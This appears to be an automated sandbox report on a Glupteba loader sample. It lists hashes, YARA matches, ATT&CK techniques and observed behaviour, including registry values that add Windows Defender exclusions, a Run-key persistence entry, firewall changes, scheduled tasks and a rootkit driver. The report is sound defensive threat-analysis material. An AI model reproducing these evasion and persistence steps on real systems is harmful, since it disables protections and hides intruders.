glupteba | a4ddacb66a27d7e030d816677a31e4a04489e9d8fa1fd1fd8d5e6cceec8fa085

Analysis

max time kernel
146s
max time network
136s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14-06-2024 18:18

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General

Target

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Size

3.9MB
MD5

ab19f99a2b290c8b3aa15201d0afadae
SHA1

959df1d74c69119de098d672e90c56e6e00c54f7
SHA256

a4ddacb66a27d7e030d816677a31e4a04489e9d8fa1fd1fd8d5e6cceec8fa085
SHA512

868e8bf823970152646db0ff8c4c0d86e5f0f846597865d6039f43f786fc28f86ff7d8ec9efc4faca43e7d0c6ae50788d76a02f0a8bbfbb3b9166498b626b860
SSDEEP

98304:aIsGrDDhEGpnjjE6ns0Vzwq8HrmWSB4sAG:Ts6hlXnsEB6rtSB4

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 23 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2980-2-0x0000000002870000-0x0000000002F6A000-memory.dmp	family_glupteba
behavioral1/memory/2980-3-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2980-5-0x0000000002870000-0x0000000002F6A000-memory.dmp	family_glupteba
behavioral1/memory/2980-7-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2860-10-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2860-11-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2860-21-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-23-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2120-40-0x00000000004C0000-0x0000000000AA8000-memory.dmp	family_glupteba
behavioral1/memory/2508-55-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-56-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2120-57-0x00000000004C0000-0x0000000000AA8000-memory.dmp	family_glupteba
behavioral1/memory/2508-65-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-66-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-67-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-69-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-70-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-71-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-72-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-73-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-74-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-75-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba
behavioral1/memory/2508-76-0x0000000000400000-0x0000000000B14000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65 = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\YoungSilence = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2520 netsh.exe
Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2508 csrss.exe
2120 patch.exe

pid	process
2520	netsh.exe

pid	process
2508	csrss.exe
2120	patch.exe

Loads dropped DLL 11 IoCs

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exepatch.exe

pid	process
2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
868
2120	patch.exe
2120	patch.exe
2120	patch.exe
2120	patch.exe
2120	patch.exe
2120	patch.exe
2120	patch.exe
2120	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65 = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\YoungSilence = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\YoungSilence = "\"C:\\Windows\\rss\\csrss.exe\""	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

820 bcdedit.exe
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

pid	process
820	bcdedit.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

Drops file in Windows directory 3 IoCs

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240614181851.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1560 schtasks.exe
1592 schtasks.exe

pid	process
1560	schtasks.exe
1592	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.exeab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exeab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.execsrss.exe

pid process

2980 ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
2860 ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
2508 csrss.exe
2508 csrss.exe

pid	process
2980	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
2508	csrss.exe
2508	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2980	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2980	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	2508	csrss.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.execmd.execsrss.exe

description	pid	process	target process
PID 2860 wrote to memory of 2452	2860	ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe	cmd.exe
